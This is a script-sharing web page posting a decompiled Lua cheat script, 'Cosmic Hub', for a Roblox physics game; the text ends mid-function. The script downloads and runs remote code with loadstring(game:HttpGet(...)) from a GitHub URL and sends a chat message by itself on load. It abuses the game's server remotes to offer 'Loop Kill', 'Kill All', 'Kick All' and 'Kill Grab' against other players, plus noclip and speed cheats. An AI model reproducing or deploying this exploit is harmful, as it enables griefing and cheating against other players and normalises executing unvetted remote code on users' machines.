Skip to content
RoRoScripts
Free Cosmic Hub Open Sourced preview
Unknown

Free Cosmic Hub Open Sourced

Script
Views
204K
Likes
9
Dislikes
2
Added
Script
MoonSec_StringsHiddenAttr = true;
if _wURGUJXwOJhV == "This file was protected with MoonSec V3" then
    local l_Players_0 = game:GetService("Players");
    local l_LocalPlayer_0 = l_Players_0.LocalPlayer;
    local l_RunService_0 = game:GetService("RunService");
    local l_HttpService_0 = game:GetService("HttpService");
    local l_ReplicatedStorage_0 = game:GetService("ReplicatedStorage");
    local _ = game:GetService("Debris");
    local l_GrabEvents_0 = l_ReplicatedStorage_0:WaitForChild("GrabEvents");
    local _ = l_ReplicatedStorage_0:WaitForChild("CharacterEvents");
    local _ = l_ReplicatedStorage_0:WaitForChild("MenuToys");
    local l_SetNetworkOwner_0 = l_GrabEvents_0:WaitForChild("SetNetworkOwner");
    local _ = game:GetService("StarterGui");
    local l_TextChatService_0 = game:GetService("TextChatService");
    if not l_Players_0.LocalPlayer and not l_Players_0:GetPropertyChangedSignal("LocalPlayer"):Wait() then
        local _ = l_Players_0.LocalPlayer;
    end;
    local l_RagdollRemote_0 = l_ReplicatedStorage_0:WaitForChild("CharacterEvents"):FindFirstChild("RagdollRemote");
    local v14 = false;
    local _ = nil;
    local _ = 40;
    local _ = nil;
    local _ = nil;
    local _ = nil;
    local _ = nil;
    if not l_LocalPlayer_0.Character then
        local _ = l_LocalPlayer_0.CharacterAdded:Wait();
    end;
    local _ = workspace:FindFirstChild(l_LocalPlayer_0.Name .. "SpawnedInToys");
    local l_LocalPlayer_2 = l_Players_0.LocalPlayer;
    local l_Workspace_0 = game:GetService("Workspace");
    (_G or {}).BlobmanDelay = 5.0E-8;
    local v25 = 1;
    local _ = {};
    local v27 = nil;
    local v28 = {};
    local _ = nil;
    local function v33()
        -- upvalues: l_Players_0 (ref)
        local v30 = {};
        for _, v32 in ipairs(l_Players_0:GetPlayers()) do
            table.insert(v30, v32.Name);
        end;
        return v30;
    end;
    local function v37()
        -- upvalues: v33 (ref), v28 (ref)
        local v34 = v33();
        for _, v36 in ipairs(v28) do
            v36:Refresh(v34, true);
        end;
    end;
    l_Players_0.PlayerAdded:Connect(v37);
    l_Players_0.PlayerRemoving:Connect(v37);
    local function v39(v38)
        -- upvalues: v28 (ref), v33 (ref)
        table.insert(v28, v38);
        v38:Refresh(v33(), true);
    end;
    local v40 = nil;
    l_Players_0.PlayerAdded:Connect(function()
        -- upvalues: v40 (ref), v33 (ref)
        if v40 then
            v40:Refresh(v33(), true);
        end;
    end);
    l_Players_0.PlayerRemoving:Connect(function()
        -- upvalues: v40 (ref), v33 (ref)
        if v40 then
            v40:Refresh(v33(), true);
        end;
    end);
    local function v42(v41)
        -- upvalues: l_TextChatService_0 (ref), l_ReplicatedStorage_0 (ref)
        if l_TextChatService_0.ChatVersion == Enum.ChatVersion.TextChatService then
            l_TextChatService_0.TextChannels.RBXGeneral:SendAsync(v41);
        else
            l_ReplicatedStorage_0.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(v41, "All");
        end;
    end;
    task.spawn(function()
        -- upvalues: v42 (ref)
        v42("-`C\194\180-");
    end);
    local v43 = loadstring(game:HttpGet("https://raw.githubusercontent.com/Jeffepicy/OrionGod/refs/heads/main/CosmicOrion", true))();
    v43:MakeNotification({
        Name = "Welcome to Cosmic Hub!", 
        Content = "You\226\128\153re Whitelisted! wink wink", 
        Image = "rbxassetid://4483345998", 
        Time = 20
    });
    local v44 = v43:MakeWindow({
        Name = "Cosmic Hub FTAP", 
        HidePremium = false, 
        SaveConfig = true, 
        ConfigFolder = "CosmicHubFTAPConfig"
    });
    local v45 = v44:MakeTab({
        Name = "Player", 
        Icon = "rbxassetid://6031075927", 
        PremiumOnly = false
    });
    local _ = v45:AddSection({
        Name = "Movement"
    });
    local v47 = {
        Walkspeed = false, 
        WalkspeedValue = 5, 
        InfiniteJump = false, 
        InfiniteJumpPower = 100, 
        Noclip = false, 
        Connections = {}
    };
    local l_UserInputService_0 = game:GetService("UserInputService");
    v47.WalkspeedFunc = function()
        -- upvalues: v47 (ref), l_RunService_0 (ref), l_Players_0 (ref)
        if v47.Connections.WS then
            v47.Connections.WS:Disconnect();
        end;
        if v47.Walkspeed then
            v47.Connections.WS = l_RunService_0.Stepped:Connect(function()
                -- upvalues: l_Players_0 (ref), v47 (ref)
                p = l_Players_0.LocalPlayer;
                if p and p.Character and p.Character:FindFirstChild("HumanoidRootPart") and p.Character:FindFirstChildOfClass("Humanoid") and typeof(v47.WalkspeedValue) == "number" then
                    h = p.Character.HumanoidRootPart;
                    u = p.Character:FindFirstChildOfClass("Humanoid");
                    h.CFrame = h.CFrame + u.MoveDirection * (16 * v47.WalkspeedValue / 10);
                end;
            end);
        end;
    end;
    v47.InfiniteJumpFunc = function()
        -- upvalues: v47 (ref), l_UserInputService_0 (ref), l_Players_0 (ref)
        if v47.Connections.JP then
            v47.Connections.JP:Disconnect();
        end;
        if v47.InfiniteJump then
            v47.Connections.JP = l_UserInputService_0.JumpRequest:Connect(function()
                -- upvalues: l_Players_0 (ref), v47 (ref)
                local l_LocalPlayer_3 = l_Players_0.LocalPlayer;
                if l_LocalPlayer_3 and l_LocalPlayer_3.Character and l_LocalPlayer_3.Character:FindFirstChildOfClass("Humanoid") then
                    local l_Humanoid_0 = l_LocalPlayer_3.Character:FindFirstChildOfClass("Humanoid");
                    l_Humanoid_0:ChangeState(Enum.HumanoidStateType.Freefall);
                    task.wait();
                    l_Humanoid_0:ChangeState(Enum.HumanoidStateType.Jumping);
                    if l_Humanoid_0.UseJumpPower == false then
                        l_Humanoid_0.JumpHeight = math.clamp(v47.InfiniteJumpPower / 10, 7.2, 50);
                    else
                        l_Humanoid_0.JumpPower = v47.InfiniteJumpPower;
                    end;
                end;
            end);
        end;
    end;
    v47.NoclipFunc = function()
        -- upvalues: v47 (ref), l_RunService_0 (ref), l_Players_0 (ref)
        if v47.Connections.NC then
            v47.Connections.NC:Disconnect();
        end;
        if v47.Noclip then
            v47.Connections.NC = l_RunService_0.Stepped:Connect(function()
                -- upvalues: l_Players_0 (ref)
                p = l_Players_0.LocalPlayer;
                if p and p.Character then
                    for _, v52 in ipairs(p.Character:GetDescendants()) do
                        if v52:IsA("BasePart") then
                            v52.CanCollide = false;
                        end;
                    end;
                end;
            end);
        end;
    end;
    v45:AddToggle({
        Name = "Walkspeed", 
        Default = false, 
        Callback = function(v53)
            -- upvalues: v47 (ref)
            v47.Walkspeed = v53;
            v47.WalkspeedFunc();
        end
    });
    v45:AddSlider({
        Name = "Speed Multiplier", 
        Min = 1, 
        Max = 5, 
        Default = 0.1, 
        Increment = 0.1, 
        Callback = function(v54)
            -- upvalues: v47 (ref)
            v47.WalkspeedValue = v54;
        end
    });
    v45:AddToggle({
        Name = "Infinite Jump", 
        Default = false, 
        Callback = function(v55)
            -- upvalues: v47 (ref)
            v47.InfiniteJump = v55;
            v47.InfiniteJumpFunc();
        end
    });
    v45:AddSlider({
        Name = "Jump Power", 
        Min = 16, 
        Max = 500, 
        Default = 16, 
        Increment = 1, 
        Callback = function(v56)
            -- upvalues: v47 (ref)
            v47.InfiniteJumpPower = v56;
        end
    });
    v45:AddToggle({
        Name = "Noclip", 
        Default = false, 
        Callback = function(v57)
            -- upvalues: v47 (ref)
            v47.Noclip = v57;
            v47.NoclipFunc();
        end
    });
    local v58 = v44:MakeTab({
        Name = "Invincibility", 
        Icon = "rbxassetid://4483362458", 
        PremiumOnly = false
    });
    local _ = v58:AddSection({
        Name = "Anti"
    });
    local function v63()
        -- upvalues: l_RagdollRemote_0 (ref), v43 (ref), l_Players_0 (ref)
        if l_RagdollRemote_0 then
            for _, v61 in pairs(l_Players_0:GetPlayers()) do
                if v61.Character and v61.Character:FindFirstChild("HumanoidRootPart") then
                    for _ = 1, 150 do
                        l_RagdollRemote_0:FireServer(v61.Character.HumanoidRootPart, 9999999);
                        wait();
                    end;
                end;
            end;
            return;
        else
            v43:MakeNotification({
                Name = "Error", 
                Content = "error", 
                Image = "rbxassetid://4483345998", 
                Time = 3
            });
            return;
        end;
    end;
    v58:AddButton({
        Name = "Anti Ragdoll/Snowball", 
        Callback = function()
            -- upvalues: v63 (ref)
            v63();
        end
    });
    v58:AddButton({
        Name = "Destroy Void", 
        Callback = function()
            -- upvalues: l_Workspace_0 (ref)
            l_Workspace_0.FallenPartsDestroyHeight = -1.0E95;
        end
    });
    local v64 = {
        Players = game:GetService("Players"), 
        ReplicatedStorage = game:GetService("ReplicatedStorage"), 
        RunService = game:GetService("RunService"), 
        LP = game.Players.LocalPlayer
    };
    v64.spawnGucci = function()
        -- upvalues: v64 (ref)
        return v64.ReplicatedStorage.MenuToys.SpawnToyRemoteFunction:InvokeServer("CreatureBlobman", CFrame.new(0, 50000, 0) * CFrame.Angles(-0.7351, 0.9028, 0.6173), Vector3.new(0, 59.667, 0));
    end;
    v64.setup = function()
        -- upvalues: v64 (ref), l_Workspace_0 (ref)
        v64.spawnGucci();
        local l_Name_0 = v64.LP.Name;
        local l_l_Workspace_0_0 = l_Workspace_0;
        local v67 = v64.LP.Character or v64.LP.CharacterAdded:Wait();
        local l_l_l_Workspace_0_0_FirstChild_0 = l_l_Workspace_0_0:FindFirstChild(l_Name_0 .. "SpawnedInToys");
        local v69 = nil;
        local v70 = nil;
        if l_l_l_Workspace_0_0_FirstChild_0 then
            v69 = l_l_l_Workspace_0_0_FirstChild_0:FindFirstChild("CreatureBlobman");
        end;
        if v69 then
            v70 = v69.FindFirstChild(v69, "Head");
        end;
        if v70 then
            v70.CFrame = CFrame.new(0, 50000, 0);
            v70.Anchored = true;
        end;
        task.wait(0.1);
        local l_Humanoid_1 = v67:WaitForChild("Humanoid");
        local l_HumanoidRootPart_0 = v67:WaitForChild("HumanoidRootPart");
        local l_Position_0 = l_HumanoidRootPart_0.Position;
        local v74 = false;
        local v75;
        if v69 then
            v75 = v69.FindFirstChild(v69, "VehicleSeat");
        else
            v75 = v69;
        end;
        if v75 and v75.IsA(v75, "VehicleSeat") then
            l_HumanoidRootPart_0.CFrame = v75.CFrame + Vector3.new(0, 2, 0);
            v75.Sit(v75, l_Humanoid_1);
            v74 = true;
        end;
        l_Humanoid_1:GetPropertyChangedSignal("Jump"):Connect(function()
            -- upvalues: v74 (ref), l_Humanoid_1 (ref), l_HumanoidRootPart_0 (ref), l_Position_0 (ref)
            if v74 and l_Humanoid_1.Jump then
                task.wait(0.02);
                l_HumanoidRootPart_0.CFrame = CFrame.new(l_Position_0);
                v74 = false;
            end;
        end);
        v64.ragdollConn = v64.RunService.Heartbeat:Connect(function()
            -- upvalues: v64 (ref), v74 (ref), l_l_Workspace_0_0 (ref), l_Name_0 (ref)
            if v64.enabled and v74 then
                pcall(function()
                    -- upvalues: v64 (ref), l_l_Workspace_0_0 (ref), l_Name_0 (ref)
                    v64.ReplicatedStorage.CharacterEvents.RagdollRemote:FireServer(l_l_Workspace_0_0[l_Name_0].HumanoidRootPart, 0);
                end);
            end;
        end);
        v64.posCheckConn = v64.RunService.Heartbeat:Connect(function()
            -- upvalues: v64 (ref), l_HumanoidRootPart_0 (ref), l_Position_0 (ref), v74 (ref)
            if v64.enabled and (l_HumanoidRootPart_0.Position - l_Position_0).Magnitude < 1 then
                v74 = false;
            end;
        end);
    end;
    v58:AddToggle({
        Name = " Gucci Anti", 
        Default = false, 
        Callback = function(v76)
            -- upvalues: v64 (ref)
            v64.enabled = v76;
            if not v76 then
                if v64.ragdollConn then
                    v64.ragdollConn:Disconnect();
                    v64.ragdollConn = "Disconnect";
                end;
                if v64.posCheckConn then
                    v64.posCheckConn:Disconnect();
                    v64.posCheckConn = "posCheckConn";
                end;
            else
                v64.setup();
            end;
        end
    });
    v58:AddButton({
        Name = "Destroy Gucci (All)", 
        Callback = function()
            -- upvalues: l_Workspace_0 (ref)
            for _, v78 in l_Workspace_0:GetDescendants() do
                if v78.Name == "CreatureBlobman" then
                    v78.VehicleSeat:Sit(game.Players.LocalPlayer.Character.Humanoid);
                    wait(0.05);
                    game.Players.LocalPlayer.Character.Humanoid.Jump = true;
                end;
            end;
        end
    });
    local v79 = false;
    local function v82()
        -- upvalues: v79 (ref), l_LocalPlayer_2 (ref), l_ReplicatedStorage_0 (ref)
        while v79 and task.wait() do
            if l_LocalPlayer_2:FindFirstChild("IsHeld") and l_LocalPlayer_2.IsHeld.Value == true then
                local l_Character_0 = l_LocalPlayer_2.Character;
                if l_Character_0 then
                    local l_HumanoidRootPart_1 = l_Character_0:FindFirstChild("HumanoidRootPart");
                    if l_HumanoidRootPart_1 then
                        l_HumanoidRootPart_1.Anchored = true;
                        while l_LocalPlayer_2.IsHeld.Value == true and v79 do
                            l_ReplicatedStorage_0.CharacterEvents.Struggle:FireServer(l_LocalPlayer_2);
                            task.wait(0.001);
                        end;
                        l_HumanoidRootPart_1.Anchored = false;
                    end;
                end;
            end;
        end;
    end;
    v58:AddToggle({
        Name = "Anti Grab", 
        Default = false, 
        Callback = function(v83)
            -- upvalues: v79 (ref), v82 (ref)
            v79 = v83;
            if v79 then
                task.spawn(v82);
            end;
        end
    });
    local v84 = false;
    local function v89()
        -- upvalues: l_Workspace_0 (ref), v84 (ref), l_LocalPlayer_2 (ref)
        l_Workspace_0.ChildAdded:Connect(function(v85)
            -- upvalues: v84 (ref), l_LocalPlayer_2 (ref)
            if v85:IsA("Part") and v85.Name == "Part" and v84 then
                local l_Character_1 = l_LocalPlayer_2.Character;
                if l_Character_1 then
                    local l_HumanoidRootPart_2 = l_Character_1:FindFirstChild("HumanoidRootPart");
                    local l_l_Character_1_FirstChild_0 = l_Character_1:FindFirstChild("Right Arm");
                    if l_HumanoidRootPart_2 and l_l_Character_1_FirstChild_0 and (v85.Position - l_HumanoidRootPart_2.Position).Magnitude <= 20 then
                        l_HumanoidRootPart_2.Anchored = true;
                        task.wait(0.01);
                        while l_l_Character_1_FirstChild_0:FindFirstChild("RagdollLimbPart") and l_l_Character_1_FirstChild_0.RagdollLimbPart.CanCollide == true do
                            task.wait(0.001);
                        end;
                        l_HumanoidRootPart_2.Anchored = false;
                    end;
                end;
            end;
        end);
    end;
    v58:AddToggle({
        Name = "Anti Explode", 
        Default = false, 
        Callback = function(v90)
            -- upvalues: v84 (ref), v89 (ref)
            v84 = v90;
            if v84 then
                task.spawn(v89);
            end;
        end
    });
    v58:AddToggle({
        Name = "Anti Fire", 
        Default = false, 
        Callback = function(v91)
            local v92 = {
                p = game:GetService("Players").LocalPlayer, 
                rs = game:GetService("RunService"), 
                w = game:GetService("Workspace"), 
                mon = false, 
                con = "con"
            };
            v92.ep = v92.w.Map.Hole.PoisonBigHole.ExtinguishPart;
            v92.op = v92.ep.Position;
            local function v96()
                -- upvalues: v92 (ref)
                local l_HumanoidRootPart_3 = (v92.p.Character or v92.p.CharacterAdded:Wait()):WaitForChild("HumanoidRootPart");
                local l_FireLight_0 = l_HumanoidRootPart_3:FindFirstChild("FireLight");
                local l_FireParticleEmitter_0 = l_HumanoidRootPart_3:FindFirstChild("FireParticleEmitter");
                if l_FireLight_0 or l_FireParticleEmitter_0 then
                    v92.ep.CFrame = CFrame.new(l_HumanoidRootPart_3.Position);
                    while l_FireLight_0 or l_FireParticleEmitter_0 do
                        task.wait(0.1);
                        l_FireLight_0 = l_HumanoidRootPart_3:FindFirstChild("FireLight");
                        l_FireParticleEmitter_0 = l_HumanoidRootPart_3:FindFirstChild("FireParticleEmitter");
                        v92.ep.CFrame = CFrame.new(l_HumanoidRootPart_3.Position);
                    end;
                    v92.ep.CFrame = CFrame.new(v92.op);
                end;
            end;
            v92.mon = v91;
            if v91 then
                if not v92.con then
                    v92.con = v92.rs.Heartbeat:Connect(function()
                        -- upvalues: v92 (ref), v96 (ref)
                        if v92.mon then
                            v96();
                        end;
                    end);
                end;
            else
                v92.ep.CFrame = CFrame.new(v92.op);
                if v92.con then
                    v92.con:Disconnect();
                    v92.con = "Disconnect";
                end;
            end;
        end
    });
    local function v101()
        local l_Character_2 = game.Players.LocalPlayer.Character;
        if l_Character_2 then
            local l_HumanoidRootPart_4 = l_Character_2:FindFirstChild("HumanoidRootPart");
            local l_Humanoid_2 = l_Character_2:FindFirstChild("Humanoid");
            local v100 = game.Players.LocalPlayer:FindFirstChild("PlayerScripts") and game.Players.LocalPlayer.PlayerScripts:FindFirstChild("CharacterAndBeamMove");
            if l_HumanoidRootPart_4 and l_Humanoid_2 and v100 then
                v100.Disabled = antiLagT;
            end;
        end;
    end;
    v58:AddToggle({
        Name = "Anti Lag", 
        Default = false, 
        Callback = function(v102)
            -- upvalues: v101 (ref)
            antiLagT = v102;
            v101();
        end
    });
    local function v107()
        -- upvalues: l_LocalPlayer_0 (ref), l_Workspace_0 (ref)
        local l_Character_3 = l_LocalPlayer_0.Character;
        if l_Character_3 then
            local l_HumanoidRootPart_5 = l_Character_3:FindFirstChild("HumanoidRootPart");
            if l_HumanoidRootPart_5 then
                for _, v106 in pairs(l_Workspace_0:GetDescendants()) do
                    if v106:IsA("BasePart") and (v106.Name == "LeftDetector" or v106.Name == "RightDetector") and (l_HumanoidRootPart_5.Position - v106.Position).Magnitude > 10 then
                        v106:Destroy();
                    end;
                end;
                return;
            else
                return;
            end;
        else
            return;
        end;
    end;
    local function v110()
        -- upvalues: v14 (ref), l_LocalPlayer_0 (ref)
        while v14 do
            if l_LocalPlayer_0.Character then
                for _, v109 in ipairs(l_LocalPlayer_0.Character:GetDescendants()) do
                    if v109:IsA("BasePart") and v109.Massless then
                        v109.Massless = false;
                    end;
                end;
            end;
            task.wait(1);
        end;
    end;
    v58:AddToggle({
        Name = "Anti Blobman", 
        Default = false, 
        Callback = function(v111)
            -- upvalues: v14 (ref), v107 (ref), v110 (ref)
            v14 = v111;
            if v14 then
                task.spawn(function()
                    -- upvalues: v14 (ref), v107 (ref)
                    while v14 do
                        v107();
                        task.wait(1);
                    end;
                end);
                task.spawn(v110);
            end;
        end
    });
    local v112 = v44:MakeTab({
        Name = "Attack", 
        Icon = "rbxassetid://6031094674", 
        PremiumOnly = false
    });
    local _ = v112:AddSection({
        Name = "Loop "
    });
    local l_Players_1 = game:GetService("Players");
    local l_RunService_1 = game:GetService("RunService");
    local l_l_Workspace_0_1 = l_Workspace_0;
    local l_ReplicatedStorage_1 = game.ReplicatedStorage;
    local l_LocalPlayer_4 = l_Players_1.LocalPlayer;
    local v119 = {};
    local v120 = nil;
    local v121 = {
        E = false, 
        S = "S", 
        D = 2, 
        Off = Vector3.new(5, -18.5, 0), 
        H = 10000, 
        Del = 0.5
    };
    local v122 = {
        E = false, 
        S = 0.5, 
        D = 2, 
        Off = Vector3.new(5, -18.5, 0), 
        H = 10000, 
        Del = 0.5
    };
    local function v127(v123)
        -- upvalues: l_Players_1 (ref)
        local v124 = {};
        for _, v126 in ipairs(l_Players_1:GetPlayers()) do
            table.insert(v124, v126.Name);
        end;
        v123:Refresh(v124, true);
    end;
    local function v131(v128)
        for _, v130 in ipairs(v128:GetDescendants()) do
            if v130:IsA("BasePart") then
                v130.CanCollide = false;
            end;
        end;
    end;
    local function v136(v132, v133)
        -- upvalues: v131 (ref)
        v131(v133.Parent);
        local v134 = Instance.new("BodyVelocity", v132);
        local v135 = Vector3.new(0, 1000000000, 0);
        v134.MaxForce = Vector3.new(math.huge, math.huge, math.huge);
        v134.Velocity = v135;
        v135 = false;
        v133.Jump = true;
        v133.Sit = v135;
        task.delay(3, function()
            -- upvalues: v134 (ref)
            if v134.Parent then
                v134:Destroy();
            end;
        end);
    end;
    local function v141(v137, v138)
        local v139 = v137.Character and v137.Character:FindFirstChild("HumanoidRootPart");
        if v139 and v138 >= v139.Position.Y then
            local _ = false;
        end;
        return true;
    end;
    local function v144(v142)
        -- upvalues: l_LocalPlayer_4 (ref)
        local l_Character_4 = l_LocalPlayer_4.Character;
        if l_Character_4 and l_Character_4:FindFirstChild("HumanoidRootPart") then
            v142.S = l_Character_4:GetPivot();
        end;
    end;
    local function v148(v145)
        -- upvalues: l_LocalPlayer_4 (ref)
        local l_Character_5 = l_LocalPlayer_4.Character;
        local v147 = l_Character_5 and l_Character_5:FindFirstChild("HumanoidRootPart");
        if v147 and v145.S and (v147.Position - v145.S.Position).Magnitude > v145.D then
            l_Character_5:PivotTo(v145.S);
        end;
    end;
    local function v157(v149, v150, v151)
        -- upvalues: l_l_Workspace_0_1 (ref), v141 (ref), l_LocalPlayer_4 (ref), v144 (ref), v131 (ref), l_ReplicatedStorage_1 (ref), v148 (ref), v136 (ref)
        if not v150.E then
            return;
        elseif not l_l_Workspace_0_1:FindFirstChild("PlotItems") or not l_l_Workspace_0_1.PlotItems.PlayersInPlots:FindFirstChild(v149.Name) then
            local l_Character_6 = v149.Character;
            local v153 = l_Character_6 and l_Character_6:FindFirstChild("HumanoidRootPart");
            local v154 = l_Character_6 and l_Character_6:FindFirstChildOfClass("Humanoid");
            local v155 = l_Character_6 and l_Character_6:FindFirstChild("Head");
            if v153 and v154 and v155 and v154.Health > 0 and not v141(v149, v150.H) then
                local l_Character_7 = l_LocalPlayer_4.Character;
                if not (l_Character_7 and l_Character_7:FindFirstChild("HumanoidRootPart")) then
                    return;
                else
                    pcall(function()
                        -- upvalues: v144 (ref), v150 (ref), l_Character_7 (ref), v153 (ref), v131 (ref), l_Character_6 (ref), l_ReplicatedStorage_1 (ref), v148 (ref), v155 (ref), l_LocalPlayer_4 (ref), v136 (ref), v154 (ref), v151 (ref)
                        v144(v150);
                        l_Character_7:PivotTo(CFrame.new(v153.Position + v150.Off));
                        v131(l_Character_6);
                        l_ReplicatedStorage_1.GrabEvents.SetNetworkOwner:FireServer(v153, v153.CFrame);
                        task.wait();
                        v148(v150);
                        task.wait(0.1);
                        l_ReplicatedStorage_1.GrabEvents.DestroyGrabLine:FireServer(v153);
                        task.wait(0.1);
                        if v155:FindFirstChild("PartOwner") and v155.PartOwner.Value == l_LocalPlayer_4.Name then
                            v136(v153, v154);
                            if v151 then
                                task.wait(0.1);
                                v154.Health = 0;
                            end;
                        end;
                    end);
                    task.wait(v150.Del);
                    return;
                end;
            else
                return;
            end;
        else
            return;
        end;
    end;
    local function v162(v158, v159)
        -- upvalues: v144 (ref), v119 (ref), l_Players_1 (ref), v157 (ref)
        v144(v158);
        for v160 in pairs(v119) do
            if v158.E then
                local l_l_Players_1_FirstChild_0 = l_Players_1:FindFirstChild(v160);
                if l_l_Players_1_FirstChild_0 then
                    v157(l_l_Players_1_FirstChild_0, v158, v159);
                end;
            else
                break;
            end;
        end;
    end;
    local function v165(v163, v164)
        -- upvalues: l_RunService_1 (ref), v162 (ref)
        return (l_RunService_1.Heartbeat:Connect(function()
            -- upvalues: v163 (ref), v162 (ref), v164 (ref)
            if v163.E then
                v162(v163, v164);
            end;
        end));
    end;
    local v166 = nil;
    local v167 = nil;
    local v168 = nil;
    local v169 = nil;
    local function v172(v170, v171)
        v171.E = false;
        if v170 then
            v170:Disconnect();
        end;
        v171.S = "S";
    end;
    SelectDropdown = v112:AddDropdown({
        Name = "Select Player", 
        Options = {}, 
        Callback = function(v173)
            -- upvalues: v120 (ref), l_Players_1 (ref)
            v120 = l_Players_1:FindFirstChild(v173);
        end
    });
    LoopDropdown = v112:AddDropdown({
        Name = "Players in Loop", 
        Options = {}, 
        Callback = function(v174)
            -- upvalues: v120 (ref), l_Players_1 (ref)
            v120 = l_Players_1:FindFirstChild(v174);
        end
    });
    v112:AddButton({
        Name = "Add Player", 
        Callback = function()
            -- upvalues: v120 (ref), v119 (ref), v127 (ref)
            if v120 and not v119[v120.Name] then
                v119[v120.Name] = true;
                v127(LoopDropdown);
            end;
        end
    });
    v112:AddButton({
        Name = "Remove Player", 
        Callback = function()
            -- upvalues: v120 (ref), v119 (ref), v127 (ref)
            if v120 and v119[v120.Name] then
                v119[v120.Name] = "Name";
                v120 = nil;
                v127(SelectDropdown);
                v127(LoopDropdown);
            end;
        end
    });
    v112:AddToggle({
        Name = "Loop Kick", 
        Callback = function(v175)
            -- upvalues: v121 (ref), v166 (ref), v165 (ref), v172 (ref)
            v121.E = v175;
            if not v175 then
                v172(v166, v121);
            else
                v166 = v165(v121, false);
            end;
        end
    });
    v112:AddToggle({
        Name = "Loop Kill", 
        Callback = function(v176)
            -- upvalues: v122 (ref), v167 (ref), v165 (ref), v172 (ref)
            v122.E = v176;
            if v176 then
                v167 = v165(v122, true);
            else
                v172(v167, v122);
            end;
        end
    });
    l_Players_1.PlayerAdded:Connect(function()
        -- upvalues: v127 (ref)
        v127(SelectDropdown);
    end);
    l_Players_1.PlayerRemoving:Connect(function(v177)
        -- upvalues: v119 (ref), v127 (ref)
        if v119[v177.Name] then
            v119[v177.Name] = "Name";
            v127(LoopDropdown);
        end;
        v127(SelectDropdown);
    end);
    v127(SelectDropdown);
    v127(LoopDropdown);
    v112:AddToggle({
        Name = "Kick All", 
        Callback = function(v178)
            -- upvalues: v172 (ref), v166 (ref), v121 (ref), v168 (ref), l_RunService_1 (ref), v144 (ref), l_Players_1 (ref), l_LocalPlayer_4 (ref), v157 (ref)
            if not v178 then
                v172(v168, v121);
            else
                v172(v166, v121);
                v168 = l_RunService_1.Heartbeat:Connect(function()
                    -- upvalues: v144 (ref), v121 (ref), l_Players_1 (ref), l_LocalPlayer_4 (ref), v157 (ref)
                    v144(v121);
                    for _, v180 in ipairs(l_Players_1:GetPlayers()) do
                        if v180 ~= l_LocalPlayer_4 then
                            v157(v180, v121, false);
                        end;
                    end;
                end);
            end;
        end
    });
    v112:AddToggle({
        Name = "Kill All", 
        Callback = function(v181)
            -- upvalues: v172 (ref), v167 (ref), v122 (ref), v169 (ref), l_RunService_1 (ref), v144 (ref), l_Players_1 (ref), l_LocalPlayer_4 (ref), v157 (ref)
            if v181 then
                v172(v167, v122);
                v169 = l_RunService_1.Heartbeat:Connect(function()
                    -- upvalues: v144 (ref), v122 (ref), l_Players_1 (ref), l_LocalPlayer_4 (ref), v157 (ref)
                    v144(v122);
                    for _, v183 in ipairs(l_Players_1:GetPlayers()) do
                        if v183 ~= l_LocalPlayer_4 then
                            v157(v183, v122, true);
                        end;
                    end;
                end);
            else
                v172(v169, v122);
            end;
        end
    });
    local _ = v112:AddSection({
        Name = "Grabs"
    });
    local v185 = false;
    local function v190()
        -- upvalues: v185 (ref), l_Workspace_0 (ref), l_LocalPlayer_2 (ref)
        if not v185 then
            return;
        else
            l_Workspace_0.ChildAdded:Connect(function(v186)
                -- upvalues: v185 (ref), l_LocalPlayer_2 (ref)
                if v186:IsA("Model") and v186.Name == "GrabParts" and v185 then
                    local l_GrabPart_0 = v186:FindFirstChild("GrabPart");
                    if l_GrabPart_0 and l_GrabPart_0:FindFirstChild("WeldConstraint") then
                        local l_Part1_0 = l_GrabPart_0.WeldConstraint.Part1;
                        if l_Part1_0 and l_Part1_0.Parent and l_Part1_0.Parent ~= l_LocalPlayer_2.Character then
                            local l_Humanoid_3 = l_Part1_0.Parent:FindFirstChildOfClass("Humanoid");
                            if l_Humanoid_3 then
                                l_Humanoid_3.Health = 0;
                            end;
                        end;
                    end;
                end;
            end);
            return;
        end;
    end;
    v112:AddToggle({
        Name = "Kill Grab", 
        Default = false, 
        Callback = function(v191)
            -- upvalues: v185 (ref), v190 (ref)
            v185 = v191;
            v190();
        end
    });
    local v192 = {
        S = game:GetService("UserInputService"), 
        A = game:GetService("ContextActionService"), 
        W = game:GetService("Workspace"), 
        R = game:GetService("RunService"), 
        D = game:GetService("Debris"), 
        P = game:GetService("Players"), 
        Enabled = false, 
        Strength = 800, 
        UI = {}
    };
    local function v204(v193)
        -- upvalues: v192 (ref)
        if not v192.Enabled then
            return;
        elseif v193.Name ~= "GrabParts" then
            return;
        else
            local l_GrabPart_1 = v193:FindFirstChild("GrabPart");
            if not l_GrabPart_1 or not l_GrabPart_1:FindFirstChild("WeldConstraint") then
                return;
            else
                local l_Part1_1 = l_GrabPart_1.WeldConstraint.Part1;
                if not l_Part1_1 then
                    return;
                else
                    local l_BodyVelocity_0 = Instance.new("BodyVelocity");
                    l_BodyVelocity_0.MaxForce = Vector3.new(0, 0, 0);
                    l_BodyVelocity_0.Parent = l_Part1_1;
                    local v197 = nil;
                    local v198 = nil;
                    local v199 = nil;
                    local v200 = nil;
                    while not v197 and v193.Parent and v192.Enabled do
                        for _, v202 in pairs(v192.P.LocalPlayer.PlayerGui.ContextActionGui:GetDescendants()) do
                            if v202:IsA("ImageLabel") and v202.Image == "http://www.roblox.com/asset/?id=9603678090" then
                                v197 = v202.Parent;
                                break;
                            end;
                        end;
                        v192.R.Heartbeat:Wait();
                    end;
                    if v197 and v192.Enabled then
                        local function v203()
                            -- upvalues: l_BodyVelocity_0 (ref), v192 (ref)
                            l_BodyVelocity_0.MaxForce = Vector3.new(math.huge, math.huge, math.huge);
                            l_BodyVelocity_0.Velocity = v192.W.CurrentCamera.CFrame.LookVector * v192.Strength;
                        end;
                        v198 = v197.MouseButton1Up:Connect(v203);
                        v199 = v197.MouseButton1Down:Connect(v203);
                    end;
                    v200 = v193:GetPropertyChangedSignal("Parent"):Connect(function()
                        -- upvalues: v193 (ref), v198 (ref), v199 (ref), v200 (ref), v192 (ref), l_BodyVelocity_0 (ref)
                        if not v193.Parent then
                            if v198 then
                                v198:Disconnect();
                            end;
                            if v199 then
                                v199:Disconnect();
                            end;
                            if v200 then
                                v200:Disconnect();
                            end;
                            v192.D:AddItem(l_BodyVelocity_0, 1);
                        end;
                    end);
                    return;
                end;
            end;
        end;
    end;
    local function v206(v205)
        -- upvalues: v192 (ref), v204 (ref)
        if not v205 then
            if v192.GrabConn then
                v192.GrabConn:Disconnect();
                v192.GrabConn = "Disconnect";
            end;
        else
